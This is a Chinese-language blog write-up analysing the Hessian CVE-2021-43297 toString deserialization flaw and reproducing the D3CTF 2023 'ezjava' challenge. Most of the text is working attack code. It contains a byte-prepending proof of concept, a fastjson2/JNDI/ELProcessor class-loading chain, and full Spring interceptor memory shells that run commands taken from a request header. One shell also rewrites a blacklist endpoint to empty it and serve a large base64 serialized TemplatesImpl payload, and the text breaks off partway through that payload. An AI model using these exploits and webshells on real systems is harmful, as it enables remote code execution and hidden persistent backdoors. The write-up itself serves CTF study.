Hessian CVE-2021-43297 & D3CTF 2023 ezjava

Hessian CVE-2021-43297 分析以及 D3CTF 2023 ezjava 复现

Hessian CVE-2021-43297

参考文章: https://paper.seebug.org/1814/

这个 cve 的原理不难, 就是字符串和对象拼接导致隐式触发了该对象的 toString 方法, 从而引发后续一系列的利用方式

问题主要出在 Hessian2Input 的 expect 方法 (注意 HessianInput 是没有这个问题的)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
protected IOException expect(String expect, int ch) throws IOException {
    if (ch < 0) {
        return this.error("expected " + expect + " at end of file");
    } else {
        --this._offset;

        try {
            int offset = this._offset;
            String context = this.buildDebugContext(this._buffer, 0, this._length, offset);
            Object obj = this.readObject();
            return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n  " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
        } catch (Exception var6) {
            log.log(Level.FINE, var6.toString(), var6);
            return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
        }
    }
}

先 readObject 得到 obj, 然后直接将 obj 与其它的字符串拼接, 会触发 obj 的 toString 方法, 并且这里的 obj 可控

不难发现除 readObject 以外的其它 readXX 方法大都会调用 expect

以 readString 为例

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
public String readString() throws IOException {
        int tag = this.read();
        int ch;
        switch (tag) {
            case 0:
            case 1:
            case 2:
            case 3:
            case 4:
            case 5:
            case 6:
            case 7:
            case 8:
            case 9:
            case 10:
            case 11:
            case 12:
            case 13:
            case 14:
            case 15:
            case 16:
            case 17:
            case 18:
            case 19:
            case 20:
            case 21:
            case 22:
            case 23:
            case 24:
            case 25:
            case 26:
            case 27:
            case 28:
            case 29:
            case 30:
            case 31:
                this._isLastChunk = true;
                this._chunkLength = tag - 0;
                this._sbuf.setLength(0);

                while((ch = this.parseChar()) >= 0) {
                    this._sbuf.append((char)ch);
                }

                return this._sbuf.toString();
            case 32:
            case 33:
            case 34:
            case 35:
            case 36:
            case 37:
            case 38:
            case 39:
            case 40:
            case 41:
            case 42:
            case 43:
            case 44:
            case 45:
            case 46:
            case 47:
            case 52:
            case 53:
            case 54:
            case 55:
            case 64:
            case 65:
            case 66:
            case 67:
            case 69:
            case 71:
            case 72:
            case 74:
            case 75:
            case 77:
            case 79:
            case 80:
            case 81:
            case 85:
            case 86:
            case 87:
            case 88:
            case 90:
            case 96:
            case 97:
            case 98:
            case 99:
            case 100:
            case 101:
            case 102:
            case 103:
            case 104:
            case 105:
            case 106:
            case 107:
            case 108:
            case 109:
            case 110:
            case 111:
            case 112:
            case 113:
            case 114:
            case 115:
            case 116:
            case 117:
            case 118:
            case 119:
            case 120:
            case 121:
            case 122:
            case 123:
            case 124:
            case 125:
            case 126:
            case 127:
            default:
                throw this.expect("string", tag);
            ......
        }
    }

因为 switch fallthrough 的特性, 当 tag 不满足任何 case 或者满足 default 上面几个空的 case 时, 都会执行 default 里面的语句, 也就是 throw this.expect("string", tag)

因为反序列化一般关注的是 readObject, 所以我们需要研究如何从 readObject 走到 readString, 进而走到 expect

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
public Object readObject(Class cl) throws IOException {
    if (cl != null && cl != Object.class) {
        int tag = this._offset < this._length ? this._buffer[this._offset++] & 255 : this.read();
        int ref;
        Deserializer reader;
        Object v;
        Object v;
        Deserializer reader;
        String type;
        int size;
        Deserializer reader;
        ObjectDefinition def;
        switch (tag) {
            case 67:
                this.readObjectDefinition(cl);
                return this.readObject(cl);
            ......
    } else {
        return this.readObject();
    }
}

当 tag 为 67 时, 会调用 readObjectDefinition 方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
private void readObjectDefinition(Class<?> cl) throws IOException {
    String type = this.readString();
    int len = this.readInt();
    SerializerFactory factory = this.findSerializerFactory();
    Deserializer reader = factory.getObjectDeserializer(type, (Class)null);
    Object[] fields = reader.createFields(len);
    String[] fieldNames = new String[len];

    for(int i = 0; i < len; ++i) {
        String name = this.readString();
        fields[i] = reader.createField(name);
        fieldNames[i] = name;
    }

    ObjectDefinition def = new ObjectDefinition(type, reader, fields, fieldNames);
    this._classDefs.add(def);
}

readObjectDefinition 刚好调用了 readString, 之后只要构造符合条件的 tag, 就能够调用到 expect 方法, 剩下来的就是如何构造 payload

网上看到的一些方法都是选择重写 writeString 指定第一次 read 的 tag 为 67, 但其实还有个更简单的方法

因为 hessian 在读入的时候是按一个个 byte 来读的,在 readObject 里面第一次调用的 this.read() 读取的是序列化后的 byte 数组里的第一个值, 所以只要在 byte 数组的前面再拼一个 67 就行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package com.example.Hessian;

import com.example.Person;
import com.example.Serialization;

public class CVE_2021_43297 {
    public static void main(String[] args) throws Exception {

        Person person = new Person();
        person.setName("xiaoming");
        person.setAge(18);

        byte[] data = Serialization.hessian2Serialize(person);

        byte[] poc = new byte[data.length + 1];
        System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
        System.arraycopy(data, 0, poc, 1, data.length);
        Serialization.hessian2Unserialize(poc);
    }
}

至于 readString 里面读的第二个 tag 其实也不用考虑, 因为写入的 object 本来就不是 String 类型的, 最终都能够走到 throw this.expect("string", tag)

[D3CTF 2023] ezjava

题目分为 registry 和 server, 均不出网, 其中 server 不能直接访问

registry 和 server 都有 springboot fastjson2 依赖, registry 还有 sofa-hessian, 存在 CVE-2021-43297

registry 有一处 hessian2 反序列化点, 但是存在黑名单, server 的黑名单从 registry 的 /blacklist/jdk/get 路由拉取

因为 registry 的黑名单没有包含 fastjson2 的依赖, 所以可以打 fastjson2 toString 触发任意 getter, 然后通过 ContinuationContext 的 getTargetContext 触发 reference 注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
protected Context getTargetContext() throws NamingException {
    if (contCtx == null) {
        if (cpe.getResolvedObj() == null)
            throw (NamingException)cpe.fillInStackTrace();

        contCtx = NamingManager.getContext(cpe.getResolvedObj(),
                                           cpe.getAltName(),
                                           cpe.getAltNameCtx(),
                                           env);
        if (contCtx == null)
            throw (NamingException)cpe.fillInStackTrace();
    }
    return contCtx;
}

NamingManager.getContext 会调用 getObjectInstance 方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static Context getContext(Object obj, Name name, Context nameCtx,
                          Hashtable<?,?> environment) throws NamingException {
    Object answer;

    if (obj instanceof Context) {
        // %%% Ignore environment for now.  OK since method not public.
        return (Context)obj;
    }

    try {
        answer = getObjectInstance(obj, name, nameCtx, environment);
    } catch (NamingException e) {
        throw e;
    } catch (Exception e) {
        NamingException ne = new NamingException();
        ne.setRootCause(e);
        throw ne;
    }

    return (answer instanceof Context)
        ? (Context)answer
        : null;
}

之后就是常规的 reference 注入

因为 jdk 高版本以及不出网的限制, 需要配合 tomcat BeanFactory + ELProcessor 完成不出网注入内存马 (springboot jar 打包自带 tomcat-embed 和 tomcat-el 依赖)

后面的思路就比较简单了, 通过 interceptor / filter 修改 /blacklist/jdk/get 路由返回的内容, 清空黑名单, 然后打 fastjson 原生反序列化 (利用 BadAttributeValueExpException 触发 toString), 通过 TemplatesImpl 执行任意代码, 最后同样注入内存马拿到命令执行的回显

因为 ELProcessor 执行代码利用的是 ScriptEngine, 导致这里面的语法跟平常的 java 语法会不太一样, 所以要想注入内存马的话需要做一些修改

参考 JNDIExploit 的部分代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/*
    在对代码进行改写时需要注意:
        ① 所有的数据类型修改为 var, 包括 byte[] bytes ( var bytes )
        ② 必须使用全类名
        ③  System.out.println() 需要修改为 print()
        ④  try{...}catch(Exception e){...}  需要修改为 try{...}catch(err){...}
        ⑤  双引号改为单引号
        ⑥  Class.forName() 需要改为 java.lang.Class.forName(), String 需要改为 java.lang.String等
        ⑦  去除类型强转
        ⑧  不能用 sun.misc.BASE64Encoder,会抛异常  javax.script.ScriptException: ReferenceError: "sun" is not defined in <eval> at line number 1
        ⑨  不能使用  for(Object obj : objects) 循环
 */

......

//TODO:内存马注入方式
public String injectMemshell(Class clazz){
    //使用类加载的方式最为方便,可维护性也大大增强

    String classCode = null;
    try{
        //获取base64后的类
        classCode = Util.getClassCode(clazz);

    }catch(Exception e){
        e.printStackTrace();
    }

    String code = "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
            "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
            "try{\n" +
            "   var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" +
            "   clazz.newInstance();\n" +
            "}catch(err){\n" +
            "   var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
            "   method.setAccessible(true);\n" +
            "   var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
            "   clazz.newInstance();\n" +
            "};";

    return code;
}

思路是调用 defineClass 进行恶意类加载, 后续注入内存马的过程跟平常差不多

1
2
3
4
5
6
var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('xxxxx');
var classLoader = java.lang.Thread.currentThread().getContextClassLoader();
var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);
method.setAccessible(true);
var clazz = method.invoke(classLoader, bytes, 0, bytes.length);
clazz.newInstance();

以 spring interceptor 为例

SpringInterceptorEcho

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.example.MemShell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.util.List;

public class SpringInterceptorEcho extends AbstractTranslet implements HandlerInterceptor {
    public SpringInterceptorEcho() throws Exception {
        // 获取 WebApplicationContext
        WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext());

        // 获取 RequestMappingHandlerMapping
        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        // 注册 Interceptor
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) field.get(requestMappingHandlerMapping);
        adaptedInterceptors.add(new SpringInterceptorEcho(1));

        // 匹配特定路径的 Interceptor
//        MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{"/demo"}, null, new SpringInterceptor(1));
    }

    public SpringInterceptorEcho(int n) {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String cmd = request.getHeader("Cmd");
        response.setStatus(200);
        response.setHeader("Content-Type", "text/html");
        if (cmd != null) {
            OutputStream output = response.getOutputStream();
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream input = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            int n;
            byte[] buffer = new byte[1024];
            while ((n = input.read(buffer)) != -1) {
                baos.write(buffer);
            }
            baos.write("\n".getBytes());
            input.close();
            output.write(baos.toByteArray());
            output.flush();
        }
        return true;
    }
}

SpringInterceptorBehinderForEzjava

需要处理一下黑名单路由的返回内容

先清空黑名单 (加上一个不存在的值), 然后返回序列化后的数据 (SpringInterceptorEcho)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
package com.example.MemShell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.List;

public class SpringInterceptorBehinderForEzJava extends AbstractTranslet implements HandlerInterceptor {
    private static int counter = 0;
    public SpringInterceptorBehinderForEzJava() throws Exception {
        // 获取 WebApplicationContext
        WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext());

        // 获取 RequestMappingHandlerMapping
        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        // 注册 Interceptor
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) field.get(requestMappingHandlerMapping);
        adaptedInterceptors.add(new SpringInterceptorBehinderForEzJava(1));

        // 匹配特定路径的 Interceptor
//        MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{"/demo"}, null, new SpringInterceptor(1));
    }

    public SpringInterceptorBehinderForEzJava(int n) {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {

        HttpSession session = request.getSession();

        HashMap pageContext = new HashMap();
        pageContext.put("request",request);
        pageContext.put("response",response);
        pageContext.put("session",session);

        if ("/blacklist/jdk/get".equals(request.getRequestURI())) {
            response.setContentType("application/json");
            System.out.println("requesting blacklist");
            if (counter % 2 == 0) {
                System.out.println("sending denyclasses");
                List<String> denyClasses = new ArrayList<>();
                denyClasses.add("fake.test");
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
                objectOutputStream.writeObject(denyClasses);
                String msg = Base64.getEncoder().encodeToString(baos.toByteArray());
                objectOutputStream.close();
                baos.close();
                String result = "{\"code\": \"200\", \"message\": \"" + msg + "\"}";
                OutputStream output = response.getOutputStream();
                output.write(result.getBytes());
                output.flush();
            } else {
                System.out.println("sending serialized payload");
                String payload = "rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAInQAHmNvbS5leGFtcGxlLkZhc3RKc29uTmF0aXZlRGVtb3QAF0Zhc3RKc29uTmF0aXZlRGVtby5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAHmNvbS5hbGliYWJhLmZhc3Rqc29uLkpTT05BcnJheTKOBuRnMfCwAgABTAAEbGlzdHEAfgAHeHBzcgAfY29tLmFsaWJhYmEuZmFzdGpzb24yLkpTT05BcnJheQAAAAAAAAABAgAAeHEAfgAUAAAAAXcEAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4ABUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAATJMr+ur4AAAA0ANIKACYAawoAbABtBwBuCgADAG8LAHAAcQoAcgBzBwB0CwB1AHYHAHcIADUKAHgAeQoAegB7CgB6AHwHAH0HAH4KAA8AfwsADgCACACBCwBwAIILAIMAhAgAhQgAhgsAgwCHCwCDAIgKAIkAigoAiQCLCgCMAI0HAI4KABwAawoAjwCQCgAcAJEIAJIKAJMAlAoAjwCVCgAcAJYKAJcAkQoAlwCYBwCZBwCaAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACxMY29tL2V4YW1wbGUvTWVtU2hlbGwvU3ByaW5nSW50ZXJjZXB0b3JFY2hvOwEAB2NvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABBMamF2YS91dGlsL0xpc3Q7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEARkxqYXZhL3V0aWwvTGlzdDxMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9IYW5kbGVySW50ZXJjZXB0b3I7PjsBAApFeGNlcHRpb25zBwCbAQAEKEkpVgEAAW4BAAFJAQAQTWV0aG9kUGFyYW1ldGVycwEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAJwBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACXByZUhhbmRsZQEAZChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7TGphdmEvbGFuZy9PYmplY3Q7KVoBAAZvdXRwdXQBABZMamF2YS9pby9PdXRwdXRTdHJlYW07AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAVpbnB1dAEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEABGJhb3MBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQAGYnVmZmVyAQACW0IBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQASTGphdmEvbGFuZy9PYmplY3Q7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAfgcAnQcAngcAnwcAoAcAoQcAogcAowcAjgcAVgEAClNvdXJjZUZpbGUBABpTcHJpbmdJbnRlcmNlcHRvckVjaG8uamF2YQwAKAApBwCkDAClAKYBAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzDACnAKgHAJ0MAKkAqgcAqwwArACtAQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwcArgwArwCwAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcHALEMALIAswcAtAwAtQC2DAC3ALgBAA5qYXZhL3V0aWwvTGlzdAEAKmNvbS9leGFtcGxlL01lbVNoZWxsL1NwcmluZ0ludGVyY2VwdG9yRWNobwwAKAA7DAC5ALoBAANDbWQMALsAvAcAngwAvQA7AQAMQ29udGVudC1UeXBlAQAJdGV4dC9odG1sDAC+AL8MAMAAwQcAwgwAwwDEDADFAMYHAKIMAMcAyAEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtBwCjDADJAMoMAMsAzAEAAQoHAKAMAM0AzgwAzwApDADQAM4HAKEMANEAKQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAFGphdmEvaW8vT3V0cHV0U3RyZWFtAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEACmdldFJlcXVlc3QBACkoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEAEWdldFNlcnZsZXRDb250ZXh0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0Q29udGV4dDsBAEJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3N1cHBvcnQvV2ViQXBwbGljYXRpb25Db250ZXh0VXRpbHMBABhnZXRXZWJBcHBsaWNhdGlvbkNvbnRleHQBAFcoTGphdmF4L3NlcnZsZXQvU2VydmxldENvbnRleHQ7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dDsBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dAEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAA2FkZAEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldEhlYWRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAJc2V0U3RhdHVzAQAJc2V0SGVhZGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAPZ2V0T3V0cHV0U3RyZWFtAQAlKClMamF2YXgvc2VydmxldC9TZXJ2bGV0T3V0cHV0U3RyZWFtOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2x